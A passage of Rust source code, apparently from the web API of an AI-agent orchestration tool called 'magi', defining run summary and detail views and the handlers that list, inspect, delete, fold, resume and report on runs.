2564    repo: String,
2565    repo_name: String,
2566    created_at: String,
2567    updated_at: String,
2568    candidates: usize,
2569    viable: usize,
2570    judges: usize,
2571    winner: Option<char>,
2572    reviews: usize,
2573    quota_losses: usize,
2574    event: Option<String>,
2575    /// The later attempt at the same task that replaced this one, if any.
2576    ///
2577    /// Two cards with one title is otherwise unreadable: this is what lets
2578    /// the deck say "superseded by 4043" on the older of the pair.
2579    superseded_by: Option<String>,
2580    /// Blocked on a question nobody has answered.
2581    ///
2582    /// Derived from the question store rather than stored on the run: an agent
2583    /// calling `magi ask` blocks mid-node, and writing a status from there
2584    /// would race the graph's own save of `run.json` and be overwritten at the
2585    /// next node boundary. Asking the store is always true and never races.
2586    waiting: bool,
2587    /// Whether the process recorded as driving this run can still be proven
2588    /// alive. The card uses a confirmed-dead non-terminal run as `stale`,
2589    /// rather than presenting its last graph node as still in flight.
2590    live: crate::run::Liveness,
2591    /// The land loop's last look at the pull request, when there is one.
2592    pr: Option<crate::run::PrRecord>,
2593    /// `status` is `"ready"`, but `[merge] mode = "none"` left it there by
2594    /// design — never picked up by the PR-polling merge watcher, unlike an
2595    /// ordinary `Ready` that may still be a live landing candidate. See
2596    /// [`RunState::unmerged_by_design`]. The front end reads this rather than
2597    /// re-deriving the same check from `status` and `merge.mode` itself.
2598    unmerged_by_design: bool,
2599    /// Who started the run, as the one label every surface shares; the
2600    /// "origin unknown" wording when the record predates origins.
2601    origin_label: String,
2602}
2603
2604impl RunSummary {
2605    fn of(state: &RunState, waiting: bool, live: crate::run::Liveness) -> Self {
2606        Self {
2607            id: state.id.clone(),
2608            short: state.short().to_owned(),
2609            status: status_word(state.status),
2610            done: state.status.done(),
2611            unmerged_by_design: state.unmerged_by_design(),
2612            instruction: state.instruction.clone(),
2613            title: title_from(&state.instruction, TITLE_MAX),
2614            repo: state.repo.display().to_string(),
2615            repo_name: state
2616                .repo
2617                .file_name()
2618                .map(|n| n.to_string_lossy().into_owned())
2619                .unwrap_or_default(),
2620            created_at: state.created_at.to_string(),
2621            updated_at: state.updated_at.to_string(),
2622            candidates: state.candidates.len(),
2623            viable: state.viable().len(),
2624            judges: state.config.graph.judges,
2625            winner: state.winner().map(|c| c.label),
2626            reviews: state.reviews.len(),
2627            quota_losses: state.quota.len(),
2628            event: state.events.last().map(|e| e.message.clone()),
2629            waiting,
2630            live,
2631            // Filled in by the list route, which is the only place that can
2632            // see a task's other attempts.
2633            superseded_by: None,
2634            pr: state.pr.clone(),
2635            origin_label: crate::run::origin_label(state.origin.as_ref()),
2636        }
2637    }
2638}
2639
2640/// `RunStatus` as the wire spells it. Every variant is one word, so this is
2641/// the same string `serde` writes for the status inside a full run.
2642fn status_word(status: RunStatus) -> String {
2643    // `RunStatus::as_str` rather than lowercasing the `Debug` spelling: this
2644    // was a third way of naming the same statuses, and one that changed
2645    // silently with a derive.
2646    status.as_str().to_owned()
2647}
2648
2649/// `?limit=`, clamped by the handler.
2650#[derive(Debug, Deserialize)]
2651struct ListQuery {
2652    #[serde(default)]
2653    limit: Option<usize>,
2654    /// Exact ids only; an empty value requests no rows (except queue blockers).
2655    ids: Option<String>,
2656}
2657
2658impl ListQuery {
2659    fn contains(&self, id: &str) -> bool {
2660        self.ids
2661            .as_ref()
2662            .is_none_or(|ids| ids.split(',').any(|wanted| wanted == id))
2663    }
2664}
2665
2666async fn runs_list(
2667    State(ui): State<Arc<Ui>>,
2668    Query(q): Query<ListQuery>,
2669) -> ApiResult<Json<Vec<RunSummary>>> {
2670    let limit = q.limit.unwrap_or(LIST_DEFAULT).min(LIST_MAX);
2671    blocking(move || {
2672        let (open_runs, claimed, superseded) = run_row_inputs(&ui);
2673        let states = run_ids(&ui.runs)
2674            .into_iter()
2675            // A run whose state cannot be read is skipped, not fatal: a run
2676            // killed mid-write must not blank the history of every other one.
2677            // The detail route still explains it, which is where an operator
2678            // asking "what happened to that run" ends up.
2679            .filter_map(|id| read_run(&ui.runs, &id).ok())
2680            .take(limit)
2681            .filter(|run| q.contains(&run.id));
2682        let probe = std::cell::RefCell::new(crate::proc::ProcProbe::real());
2683        let summaries = summarize(
2684            states,
2685            &open_runs,
2686            &claimed,
2687            &superseded,
2688            |p| probe.borrow_mut().status(p),
2689            |p| probe.borrow_mut().started_at(p),
2690        );
2691        Ok(Json(summaries))
2692    })
2693    .await
2694}
2695
2696/// Everything the per-run rows share, read once: runs with an open question,
2697/// runs a live daemon claims, and the superseded map. Asking per run re-read
2698/// every question file and the daemon status file for each of hundreds of
2699/// runs, and spawned a process probe per run on Windows.
2700fn run_row_inputs(ui: &Ui) -> (HashSet<String>, HashSet<String>, HashMap<String, String>) {
2701    let open_runs: HashSet<String> = ui
2702        .questions
2703        .list()
2704        .into_iter()
2705        .filter(|q| q.status.open())
2706        .map(|q| q.run)
2707        .collect();
2708    let claimed: HashSet<String> = crate::daemon::current_work(&ui.home, jiff::Timestamp::now())
2709        .into_iter()
2710        .map(|c| c.run)
2711        .collect();
2712    (open_runs, claimed, ui.queue.superseded())
2713}
2714
2715/// The rows of the run list, given everything that is shared between them.
2716///
2717/// Pure over its inputs so a test can count how often the process queries are
2718/// asked; `status_q` / `identity_q` are the queries [`RunState::liveness_with`]
2719/// takes, called at most once per run.
2720fn summarize<I, S, D>(
2721    states: I,
2722    open_runs: &HashSet<String>,
2723    claimed: &HashSet<String>,
2724    superseded: &HashMap<String, String>,
2725    mut status_q: S,
2726    mut identity_q: D,
2727) -> Vec<RunSummary>
2728where
2729    I: IntoIterator<Item = RunState>,
2730    S: FnMut(u32) -> Option<bool>,
2731    D: FnMut(u32) -> Option<String>,
2732{
2733    states
2734        .into_iter()
2735        .map(|state| {
2736            let waiting = open_runs.contains(&state.id);
2737            let live =
2738                state.liveness_with(claimed.contains(&state.id), &mut status_q, &mut identity_q);
2739            let mut row = RunSummary::of(&state, waiting, live);
2740            row.superseded_by = superseded
2741                .get(&state.id)
2742                .map(String::as_str)
2743                .map(crate::run::short_of)
2744                .map(str::to_owned);
2745            row
2746        })
2747        .collect()
2748}
2749
2750/// A run as the detail route hands it to the phone.
2751///
2752/// The whole state, flattened, plus `instruction_md`: the Task panel renders
2753/// the instruction as markdown, and the raw `instruction` field this struct
2754/// still carries (unchanged) is what a client wanting the exact bytes reads
2755/// instead.
2756#[derive(Debug, Serialize)]
2757struct RunDetailView {
2758    #[serde(flatten)]
2759    state: RunState,
2760    instruction_md: Vec<md::Node>,
2761    /// Agent-written prose of the run, parsed to markdown nodes. Shapes
2762    /// mirror the records they come from, index for index; the raw strings
2763    /// stay in `state` and decide whether a block is shown at all.
2764    #[serde(flatten)]
2765    prose_md: RunProseMd,
2766    /// Whether a process is actually still driving this run: `"live"`,
2767    /// `"dead"`, or `"unknown"` — see [`crate::run::Liveness`].
2768    ///
2769    /// `state.active` (flattened in above) is only ever cleared by the
2770    /// process that populated it; a killed one leaves its last wave's
2771    /// entries behind. Carrying this alongside is what lets the phone rail
2772    /// tell "this seat is still answering" from "this seat was still
2773    /// answering when whatever was driving this run died" without a second
2774    /// route — see `ActiveSeat`'s own docs for why the entry alone is not
2775    /// proof of either. A string rather than a bool on purpose: a daemon
2776    /// claim proves `"live"`, `driver_pid` answering dead proves `"dead"`,
2777    /// and neither proven is `"unknown"` — folding that third case into
2778    /// either end of a bool is exactly the wrong call for a phone screen an
2779    /// operator uses to decide whether to wait or to act.
2780    live: crate::run::Liveness,
2781    /// Same field and meaning as [`RunSummary::unmerged_by_design`] — kept
2782    /// alongside the flattened `state` rather than inside it, since
2783    /// `RunState` has no business knowing which of its own methods a caller
2784    /// wants serialized.
2785    unmerged_by_design: bool,
2786    /// Same field and meaning as [`RunSummary::done`]: whether the status is
2787    /// terminal. The client's `landView` keys on it, and the flattened state
2788    /// has no such field, so without it a finished run's stale `open` PR
2789    /// would be painted as live on the detail page.
2790    done: bool,
2791    /// Same field and meaning as [`RunSummary::superseded_by`] — the list
2792    /// route fills it from [`Queue::superseded`], the detail route from
2793    /// [`Queue::superseded_by`], and both read the same underlying task
2794    /// order. Without this the detail page could only ever show a red
2795    /// `BLOCKED`/`FAILED` chip on a run a later attempt had already finished,
2796    /// with nothing anywhere saying so — an operator opening it had no way
2797    /// to tell "this is done elsewhere" from "this still needs a retry".
2798    superseded_by: Option<String>,
2799    /// The task's current attempt, when this run is an older one — resolved
2800    /// from [`Queue::latest_attempt`] and this run's own state, not left for
2801    /// the client to derive.
2802    ///
2803    /// Three things a client cannot safely do on its own drove this onto the
2804    /// server: it has to name the chain's *current head*, not just the next
2805    /// attempt (`superseded_by` above), because an intermediate retry in a
2806    /// longer chain can itself still be unresolved; it has to resolve to a
2807    /// real id rather than a short id a client would have to guess a full id
2808    /// from, which is ambiguous the moment two runs share a suffix; and it
2809    /// has to read that head's own status directly, because whether a run
2810    /// list a client happens to have cached even contains that attempt
2811    /// depends on a page limit this route knows nothing about.
2812    latest_attempt: Option<LatestAttempt>,
2813    /// The queue task this run belongs to, so the detail page can link back
2814    /// to the task's own page. `None` for a run nobody queued (`magi run`).
2815    task: Option<TaskRef>,
2816    /// [`crate::run::Origin::label`], or the "origin unknown" wording for a
2817    /// run recorded before origins existed. `origin` itself (flattened in
2818    /// with `state`) is `null` in that case.
2819    origin_label: String,
2820}
2821
2822/// A task named from a run's detail page.
2823#[derive(Debug, Serialize)]
2824struct TaskRef {
2825    id: String,
2826    short: String,
2827    title: String,
2828    /// [`Source::label`], e.g. `chat@a1b2`.
2829    source_label: String,
2830    /// Where the task came from, when that place has a page; see [`source_link`].
2831    source_link: Option<SourceLink>,
2832    /// The task's own status (`TaskStatus::as_str`), independent of this run's.
2833    status: &'static str,
2834    attempts: usize,
2835    max_attempts: usize,
2836    /// This run is the last entry of the task's run list.
2837    is_latest: bool,
2838    /// The task's newest run, when it is not this one.
2839    latest: Option<RunBrief>,
2840    /// The run that finished a `done` task (merged, or already in the base).
2841    finished_by: Option<RunBrief>,
2842    /// The task is `done` but no run on record finished it: closed by hand.
2843    closed_by_hand: bool,
2844}
2845
2846/// The page that filed a task, as the UI links to it.
2847#[derive(Debug, PartialEq, Eq, Serialize)]
2848struct SourceLink {
2849    /// `chat` (a conversation) or `run` (a run's node).
2850    kind: &'static str,
2851    /// The full id, never the short one in the label.
2852    id: String,
2853    /// The hash route that opens it.
2854    href: String,
2855}
2856
2857/// Percent-encode everything outside the URL-unreserved set.
2858fn encode_segment(raw: &str) -> String {
2859    let mut out = String::with_capacity(raw.len());
2860    for b in raw.bytes() {
2861        if b.is_ascii_alphanumeric() || matches!(b, b'-' | b'.' | b'_' | b'~') {
2862            out.push(b as char);
2863        } else {
2864            out.push_str(&format!("%{b:02X}"));
2865        }
2866    }
2867    out
2868}
2869
2870/// The one place that decides where a task's source links to. A chat
2871/// conversation opens `#/chat/<id>`, any other agent node `#/runs/<id>`;
2872/// a person or an imported issue has no page, so no link.
2873fn source_link(source: &Source) -> Option<SourceLink> {
2874    let Source::Agent { run, node } = source else {
2875        return None;
2876    };
2877    let (kind, route) = if node == crate::queue::CHAT_NODE {
2878        ("chat", "chat")
2879    } else {
2880        ("run", "runs")
2881    };
2882    Some(SourceLink {
2883        kind,
2884        id: run.clone(),
2885        href: format!("#/{route}/{}", encode_segment(run)),
2886    })
2887}
2888
2889/// Another run of the same task, as named from a run's detail page.
2890#[derive(Debug, Serialize)]
2891struct RunBrief {
2892    id: String,
2893    short: String,
2894    /// `None` when the run's record cannot be read.
2895    status: Option<&'static str>,
2896    /// The task-page wording for how that pass ended.
2897    outcome: String,
2898}
2899
2900/// The task's overall outcome as seen from `this_run`'s page, classified with
2901/// the same exits the task page's flowchart uses.
2902fn task_outcome(
2903    task: &Task,
2904    this_run: &str,
2905    max_attempts: usize,
2906    read: impl Fn(&str) -> Option<RunState>,
2907) -> TaskRef {
2908    let history = task_history(task, read);
2909    let brief = |h: &TaskRunView| RunBrief {
2910        id: h.id.clone(),
2911        short: h.short.clone(),
2912        status: h.status,
2913        outcome: h.exit.edge_label(h.status),
2914    };
2915    let is_latest = task.runs.last().is_none_or(|r| r == this_run);
2916    let latest = if is_latest {
2917        None
2918    } else {
2919        history.last().map(brief)
2920    };
2921    let done = task.status == TaskStatus::Done;
2922    let finished_by = done
2923        .then(|| {
2924            history
2925                .iter()
2926                .rev()
2927                .find(|h| {
2928                    matches!(
2929                        h.exit,
2930                        RunExit::Merged | RunExit::Ready | RunExit::AlreadyInBase
2931                    )
2932                })
2933                .map(brief)
2934        })
2935        .flatten();
2936    TaskRef {
2937        short: task.short().to_owned(),
2938        title: task.title.clone(),
2939        id: task.id.clone(),
2940        source_label: task.source.label(),
2941        source_link: source_link(&task.source),
2942        status: task.status.as_str(),
2943        attempts: task.attempts,
2944        max_attempts,
2945        is_latest,
2946        latest,
2947        closed_by_hand: done && finished_by.is_none(),
2948        finished_by,
2949    }
2950}
2951
2952/// The task's current attempt, as seen from an older one's detail page.
2953#[derive(Debug, Serialize)]
2954struct LatestAttempt {
2955    id: String,
2956    short: String,
2957    /// Whether this attempt itself settled with a result nobody needs to
2958    /// act on further. Deliberately narrow: only `Merged` and `Ready` count.
2959    /// `VerifiedNoop` is excluded on purpose — it is a candidate's own
2960    /// unconfirmed claim that no change was needed, which is exactly why it
2961    /// settles the task through `Held` rather than `Done` and still waits on
2962    /// a human to check the evidence; showing an older run as "finished
2963    /// elsewhere" on the strength of an unverified claim would bury the
2964    /// thing that still needs a look. `Blocked`/`Failed`/`Stalled` and every
2965    /// in-flight status are excluded because they are exactly the
2966    /// unresolved states this field exists to tell apart from a real finish.
2967    resolved: bool,
2968    /// The attempt's own recorded status, so the page can say where it
2969    /// stands while it is not resolved yet.
2970    status: RunStatus,
2971    /// Whether that status is terminal (nothing is still running it).
2972    done: bool,
2973}
2974
2975/// Markdown for the free-text prose of a run, parallel to `RunState`.
2976#[derive(Debug, Default, Serialize)]
2977struct RunProseMd {
2978    /// `None` when the run has no design deliberation.
2979    advice_md: Option<AdviceMd>,
2980    /// One entry per candidate: the summary.
2981    candidate_summaries_md: Vec<Vec<md::Node>>,
2982    /// One entry per review round, in `reviews` order.
2983    reviews_md: Vec<RoundMd>,
2984}
2985
2986#[derive(Debug, Default, Serialize)]
2987struct AdviceMd {
2988    synthesis: Vec<md::Node>,
2989    /// One per record; empty for a seat with no proposal.
2990    approaches: Vec<Vec<md::Node>>,
2991}
2992
2993#[derive(Debug, Default, Serialize)]
2994struct RoundMd {
2995    /// One per reviewer record.
2996    reviewers: Vec<ReviewerMd>,
2997    /// One per `reconsideration` entry: the reason.
2998    reconsideration: Vec<Vec<md::Node>>,
2999    fix: Option<FixMd>,
3000}
3001
3002#[derive(Debug, Default, Serialize)]
3003struct ReviewerMd {
3004    summary: Vec<md::Node>,
3005    /// One per finding, in recorded order (not the display order).
3006    findings: Vec<Vec<md::Node>>,
3007}
3008
3009#[derive(Debug, Default, Serialize)]
3010struct FixMd {
3011    notes: Vec<md::Node>,
3012    /// One per rejection: the argument.
3013    rejected: Vec<Vec<md::Node>>,
3014}
3015
3016/// Parse a run's agent-written prose; a pure function of the state.
3017fn run_prose_md(state: &RunState) -> RunProseMd {
3018    let nodes = |t: &str| md::to_nodes(t, &md::ImageBase::None);
3019    RunProseMd {
3020        advice_md: state.advice.as_ref().map(|a| AdviceMd {
3021            synthesis: nodes(a.synthesis.as_deref().unwrap_or("")),
3022            approaches: a
3023                .records
3024                .iter()
3025                .map(|r| nodes(r.proposal.as_ref().map_or("", |p| p.approach.as_str())))
3026                .collect(),
3027        }),
3028        candidate_summaries_md: state.candidates.iter().map(|c| nodes(&c.summary)).collect(),
3029        reviews_md: state
3030            .reviews
3031            .iter()
3032            .map(|round| RoundMd {
3033                reviewers: round
3034                    .reviews
3035                    .iter()
3036                    .map(|rec| ReviewerMd {
3037                        summary: nodes(&rec.summary),
3038                        findings: rec.findings.iter().map(|f| nodes(&f.detail)).collect(),
3039                    })
3040                    .collect(),
3041                reconsideration: round
3042                    .reconsideration
3043                    .iter()
3044                    .map(|rv| nodes(&rv.reason))
3045                    .collect(),
3046                fix: round.fix.as_ref().map(|fix| FixMd {
3047                    notes: nodes(&fix.notes),
3048                    rejected: fix.rejected.iter().map(|r| nodes(&r.why)).collect(),
3049                }),
3050            })
3051            .collect(),
3052    }
3053}
3054
3055impl RunDetailView {
3056    fn of(
3057        state: RunState,
3058        live: crate::run::Liveness,
3059        superseded_by: Option<String>,
3060        latest_attempt: Option<LatestAttempt>,
3061        task: Option<TaskRef>,
3062    ) -> Self {
3063        Self {
3064            instruction_md: md::to_nodes(&state.instruction, &md::ImageBase::None),
3065            prose_md: run_prose_md(&state),
3066            origin_label: crate::run::origin_label(state.origin.as_ref()),
3067            live,
3068            unmerged_by_design: state.unmerged_by_design(),
3069            done: state.status.done(),
3070            superseded_by,
3071            latest_attempt,
3072            task,
3073            state,
3074        }
3075    }
3076}
3077
3078async fn run_detail(
3079    State(ui): State<Arc<Ui>>,
3080    Path(id): Path<String>,
3081) -> ApiResult<Json<RunDetailView>> {
3082    blocking(move || {
3083        let id = resolve_run(&ui.runs, &id)?;
3084        let state = read_run(&ui.runs, &id)?;
3085        let daemon_claims = crate::daemon::is_working_on(&ui.home, &id, jiff::Timestamp::now());
3086        let live = state.liveness(daemon_claims);
3087        let superseded_by = ui
3088            .queue
3089            .superseded_by(&id)
3090            .as_deref()
3091            .map(crate::run::short_of)
3092            .map(str::to_owned);
3093        // Best-effort: an unreadable head (mid-write, or deleted) just means
3094        // this run's own status stands on its own, same as no later attempt
3095        // existing at all.
3096        let latest_attempt = ui.queue.latest_attempt(&id).and_then(|head_id| {
3097            read_run(&ui.runs, &head_id).ok().map(|head| LatestAttempt {
3098                short: head.short().to_owned(),
3099                resolved: matches!(head.status, RunStatus::Merged | RunStatus::Ready),
3100                status: head.status,
3101                done: head.status.done(),
3102                id: head.id,
3103            })
3104        });
3105        let max_attempts = daemon::Opts::default().max_attempts;
3106        let task = ui
3107            .queue
3108            .list()
3109            .into_iter()
3110            .find(|t| t.runs.contains(&id))
3111            .map(|t| task_outcome(&t, &id, max_attempts, |r| read_run(&ui.runs, r).ok()));
3112        Ok(Json(RunDetailView::of(
3113            state,
3114            live,
3115            superseded_by,
3116            latest_attempt,
3117            task,
3118        )))
3119    })
3120    .await
3121}
3122
3123/// `DELETE /api/runs/{id}`.
3124///
3125/// Remove a finished, folded run directory along with its artifacts.
3126/// Running runs and runs with unfolded candidate worktrees/branches cannot be
3127/// deleted. This never touches git worktrees or branches - except for a run
3128/// whose state this build cannot read at all, where there is no candidate
3129/// list to check and the wholesale removal `magi fold` already uses for that
3130/// case is the only meaningful "delete".
3131async fn run_delete(State(ui): State<Arc<Ui>>, Path(id): Path<String>) -> ApiResult<StatusCode> {
3132    let (id, unreadable) = {
3133        let ui = Arc::clone(&ui);
3134        blocking(move || {
3135            let id = resolve_run(&ui.runs, &id)?;
3136            match read_run(&ui.runs, &id) {
3137                Ok(state) => {
3138                    let in_flight =
3139                        crate::daemon::is_working_on(&ui.home, &id, jiff::Timestamp::now());
3140                    state
3141                        .ensure_can_delete(in_flight)
3142                        .map_err(|e| ApiError::conflict(format!("{e:#}")))?;
3143                    let dir = ui.runs.join(&id);
3144                    std::fs::remove_dir_all(&dir)
3145                        .with_context(|| format!("remove run directory {}", dir.display()))?;
3146                    Ok((id, false))
3147                }
3148                Err(_) => {
3149                    // Unreadable: there is no candidate list to guard on, so
3150                    // a live daemon's claim is the only thing left to check -
3151                    // the same rule `run_fold` applies for the same reason.
3152                    if crate::daemon::is_working_on(&ui.home, &id, jiff::Timestamp::now()) {
3153                        return Err(ApiError::conflict(format!(
3154                            "run {id} is being worked on by a live daemon right now"
3155                        )));
3156                    }
3157                    Ok((id, true))
3158                }
3159            }
3160        })
3161        .await?
3162    };
3163    if unreadable {
3164        crate::clean::fold_unreadable(&ui.runs, &ui.worktrees_root, &id)
3165            .await
3166            .map_err(|e| ApiError::internal(format!("{e:#}")))?;
3167    }
3168    let ui = Arc::clone(&ui);
3169    let done = id.clone();
3170    blocking(move || {
3171        // The agent that asked died with the run, so an open question would
3172        // keep asking the operator for a decision nobody can deliver.
3173        ui.questions.abandon_for_run(
3174            &done,
3175            &format!("run {done} was deleted, so nothing is waiting for this answer"),
3176        )?;
3177        Ok(())
3178    })
3179    .await?;
3180    Ok(StatusCode::NO_CONTENT)
3181}
3182
3183/// `POST /api/runs/{id}/fold`.
3184///
3185/// Remove a run's candidate worktrees and branches, keeping its record.
3186///
3187/// This exists because the deck answered "delete this run" with *"Candidates
3188/// must be folded before deleting. Run `magi fold` first."* — a phone being
3189/// told to open a terminal, in the one product whose point is that it does
3190/// not need one. The runs an operator most wants gone are the stalled and
3191/// blocked ones, and those are exactly the runs still holding worktrees:
3192/// three of them here held 53 GB.
3193///
3194/// The winner's tree goes too. A fold is what someone asks for when they are
3195/// finished with a run, and leaving one tree behind would leave the delete
3196/// button disabled for the same reason as before.
3197///
3198/// Refused while a live daemon is working on the run, on the rule that guards
3199/// deletion: folding underneath a running agent would pull the tree it is
3200/// editing out from under it.
3201///
3202/// A run whose state this build cannot read at all falls back to
3203/// [`crate::clean::fold_unreadable`] - there is no candidate list to fold
3204/// selectively, so the whole record's worktree goes wholesale, exactly what
3205/// `magi fold` does on the command line for the same run.
3206async fn run_fold(State(ui): State<Arc<Ui>>, Path(id): Path<String>) -> ApiResult<Json<FoldView>> {
3207    let (id, state) = {
3208        let ui = Arc::clone(&ui);
3209        blocking(move || {
3210            let id = resolve_run(&ui.runs, &id)?;
3211            if crate::daemon::is_working_on(&ui.home, &id, jiff::Timestamp::now()) {
3212                return Err(ApiError::conflict(format!(
3213                    "run {id} is being worked on by a live daemon right now"
3214                )));
3215            }
3216            let state = read_run(&ui.runs, &id).ok();
3217            Ok((id, state))
3218        })
3219        .await?
3220    };
3221    let removed = match state {
3222        Some(mut state) => {
3223            let removed = crate::graph::fold_run(&mut state, true, &ui.home)
3224                .await
3225                .map_err(|e| ApiError::internal(format!("{e:#}")))?;
3226            // Nothing left to remove is not the same thing as nothing left to
3227            // do — see `clean::clear_abandoned_active`'s own doc for the run
3228            // this exists for: worktrees already gone, but a killed process
3229            // left active seats nobody will ever answer for.
3230            if removed.is_empty() {
3231                crate::clean::clear_abandoned_active(&mut state, &ui.home, jiff::Timestamp::now())
3232                    .map_err(|e| ApiError::internal(format!("{e:#}")))?;
3233            }
3234            removed
3235        }
3236        None => crate::clean::fold_unreadable(&ui.runs, &ui.worktrees_root, &id)
3237            .await
3238            .map_err(|e| ApiError::internal(format!("{e:#}")))?,
3239    };
3240    Ok(Json(FoldView {
3241        run: id,
3242        removed_count: removed.len(),
3243        removed,
3244    }))
3245}
3246
3247/// What a fold took away, so the deck can say so rather than only re-render.
3248#[derive(Debug, Serialize)]
3249struct FoldView {
3250    run: String,
3251    /// Worktree paths and branch names removed, in the order they went.
3252    removed: Vec<String>,
3253    removed_count: usize,
3254}
3255
3256/// `POST /api/runs/{id}/fold-merged` body: the pull request the operator
3257/// merged outside of `land::land`'s own loop.
3258#[derive(Debug, Deserialize)]
3259struct FoldMergedBody {
3260    #[serde(default)]
3261    pr_url: String,
3262}
3263
3264/// `POST /api/runs/{id}/fold-merged`.
3265///
3266/// The phone-reachable form of `magi fold --merged <pr-url>`: a run stuck
3267/// `Blocked` with `merge: null` because magi never got as far as opening a
3268/// pull request of its own (a title over GitHub's length limit, `gh pr
3269/// create` unreachable, a stale token), which the operator then finished by
3270/// hand on a pull request magi never recorded. The "Run actions" sheet used
3271/// to have no way to tell it about that pull request short of a terminal and
3272/// `magi fold --merged` — see `land::correct_manual_merge`'s own doc for why
3273/// this exists and what it deliberately does not do (`bump::after_merge`).
3274///
3275/// Refused, like [`run_fold`], while a live daemon is working on the run: the
3276/// correction rewrites the same `status`/`merge` fields a running graph would
3277/// be writing to on its own.
3278///
3279/// Unlike [`run_resume`] this does not return 202: it makes at most two `gh`
3280/// calls plus a fold, seconds of work, and the phone should get its answer
3281/// (which pull request it recorded, and what changed) in the same round
3282/// trip rather than learning it from the change stream.
3283async fn run_fold_merged(
3284    State(ui): State<Arc<Ui>>,
3285    Path(id): Path<String>,
3286    Json(body): Json<FoldMergedBody>,
3287) -> ApiResult<Json<FoldMergedView>> {
3288    let pr_url = body.pr_url.trim().to_owned();
3289    if pr_url.is_empty() {
3290        return Err(ApiError::bad_request("pr_url is required"));
3291    }
3292    let (id, mut state) = {
3293        let ui = Arc::clone(&ui);
3294        blocking(move || {
3295            let id = resolve_run(&ui.runs, &id)?;
3296            if crate::daemon::is_working_on(&ui.home, &id, jiff::Timestamp::now()) {
3297                return Err(ApiError::conflict(format!(
3298                    "run {id} is being worked on by a live daemon right now"
3299                )));
3300            }
3301            let state = read_run(&ui.runs, &id)?;
3302            Ok((id, state))
3303        })
3304        .await?
3305    };
3306    let (before, after) = crate::land::correct_manual_merge(&mut state, &pr_url)
3307        .await
3308        .map_err(|e| ApiError::bad_request(format!("{e:#}")))?;
3309    let removed = crate::graph::fold_run(&mut state, true, &ui.home)
3310        .await
3311        .map_err(|e| ApiError::internal(format!("{e:#}")))?;
3312    Ok(Json(FoldMergedView {
3313        run: id,
3314        before: before.as_str().to_owned(),
3315        after: after.as_str().to_owned(),
3316        removed,
3317    }))
3318}
3319
3320/// What [`run_fold_merged`] did, so the deck can say so.
3321#[derive(Debug, Serialize)]
3322struct FoldMergedView {
3323    run: String,
3324    /// `status` before the correction — normally `"blocked"`.
3325    before: String,
3326    /// `status` after — normally `"merged"`.
3327    after: String,
3328    /// Worktree paths and branch names the trailing fold removed.
3329    removed: Vec<String>,
3330}
3331
3332/// `POST /api/runs/{id}/resume`.
3333///
3334/// Carry a stalled run on from where it stopped, in the background.
3335///
3336/// A stalled card says "the work is kept" and used to offer no way to act on
3337/// that: the candidates are built and paid for, and continuing means re-asking
3338/// only the seats whose absence collapsed the panel. The alternative an
3339/// operator actually had was releasing the task, which competes three fresh
3340/// implementations against work that already exists.
3341///
3342/// **202, not 200.** A resume runs agents for minutes; holding the connection
3343/// is the mistake `POST /api/talks/{id}/say` already made and had fixed. The
3344/// phone learns the outcome from the change stream.
3345///
3346/// Refused when the loop is running at all, not merely when it is on this run.
3347/// The scarce resource is the agent CLIs' quota, and a tap that quietly
3348/// started a second graph on top of whatever the loop is already driving —
3349/// one run by default, or as many as `Config::daemon.max_concurrent_runs`
3350/// allows — would spend that quota twice over for no extra throughput.
3351async fn run_resume(
3352    State(ui): State<Arc<Ui>>,
3353    Path(id): Path<String>,
3354) -> ApiResult<(StatusCode, Json<RunSummary>)> {
3355    let (id, state) = {
3356        let ui = Arc::clone(&ui);
3357        blocking(move || {
3358            let id = resolve_run(&ui.runs, &id)?;
3359            let state = read_run(&ui.runs, &id)?;
3360            Ok((id, state))
3361        })
3362        .await?
3363    };
3364    if let Some(to) = &state.released_to {
3365        return Err(ApiError::conflict(format!(
3366            "run {} can no longer be resumed: its worktree was released to run {}, which \
3367             took the branch over.",
3368            state.short(),
3369            crate::run::short_of(to)
3370        )));
3371    }
3372    if !state.status.resumable() {
3373        return Err(ApiError::conflict(format!(
3374            "run {} is `{}`, and only a stalled or blocked run can be resumed",
3375            state.short(),
3376            status_word(state.status)
3377        )));
3378    }
3379    // Refused whenever the loop is running anything at all, not merely when
3380    // it is on this run: a manual resume racing a loop-driven run over the
3381    // same agent quota is the thing this guard exists to prevent, whether
3382    // the loop's own concurrency is one run or several.
3383    if let Some(work) = crate::daemon::current_work(&ui.home, jiff::Timestamp::now())
3384        .into_iter()
3385        .next()
3386    {
3387        return Err(ApiError::conflict(format!(
3388            "the loop is running run {} right now; stop it first, or wait for \
3389             it to finish, before resuming a run by hand.",
3390            crate::run::short_of(&work.run)
3391        )));
3392    }
3393    let _resume = ui.begin_resume(&id)?;
3394
3395    // The same shape the list route returns, so the phone updates the card it
3396    // already has rather than learning a second schema for one button.
3397    let queued = RunSummary::of(
3398        &state,
3399        !ui.questions.open_for(&id).is_empty(),
3400        state.liveness(false),
3401    );
3402    let run = id.clone();
3403    tokio::spawn(async move {
3404        let _resume = _resume;
3405        match crate::graph::Runner::resume(&run) {
3406            Ok(mut runner) => {
3407                if let Err(e) = runner.execute().await {
3408                    tracing::warn!("resume of run {run} stopped: {e:#}");
3409                }
3410            }
3411            // The run's own record is what the phone reads; this line is for
3412            // the operator's terminal.
3413            Err(e) => tracing::warn!("run {run} could not be resumed: {e:#}"),
3414        }
3415    });
3416    Ok((StatusCode::ACCEPTED, Json(queued)))
3417}
3418
3419async fn run_report(
3420    State(ui): State<Arc<Ui>>,
3421    Path(id): Path<String>,
3422) -> ApiResult<impl IntoResponse> {
3423    let text = blocking(move || {
3424        let id = resolve_run(&ui.runs, &id)?;
3425        // Colour is off for the whole process, set once in `serve`. Rendering
3426        // is CPU work over the full state, which is the other reason this is
3427        // not on the executor.
3428        let state = read_run(&ui.runs, &id)?;
3429        let daemon_claims = crate::daemon::is_working_on(&ui.home, &id, jiff::Timestamp::now());
3430        let live = state.liveness(daemon_claims);
3431        Ok(format!(
3432            "{}{}",
3433            report::run(&state),
3434            report::active_seats(&state, live)
3435        ))
3436    })
3437    .await?;
3438    Ok(([(header::CONTENT_TYPE, "text/plain; charset=utf-8")], text))
3439}
3440
3441/// The structured twin of [`run_report`]: the same state, as sections the UI
3442/// draws as cards. An unreadable run answers with the same error the text
3443/// route does; it is never turned into an empty report.
3444async fn run_report_json(
3445    State(ui): State<Arc<Ui>>,
3446    Path(id): Path<String>,
3447) -> ApiResult<Json<crate::report_view::RunReportView>> {
3448    let view = blocking(move || {
3449        let id = resolve_run(&ui.runs, &id)?;
3450        let state = read_run(&ui.runs, &id)?;
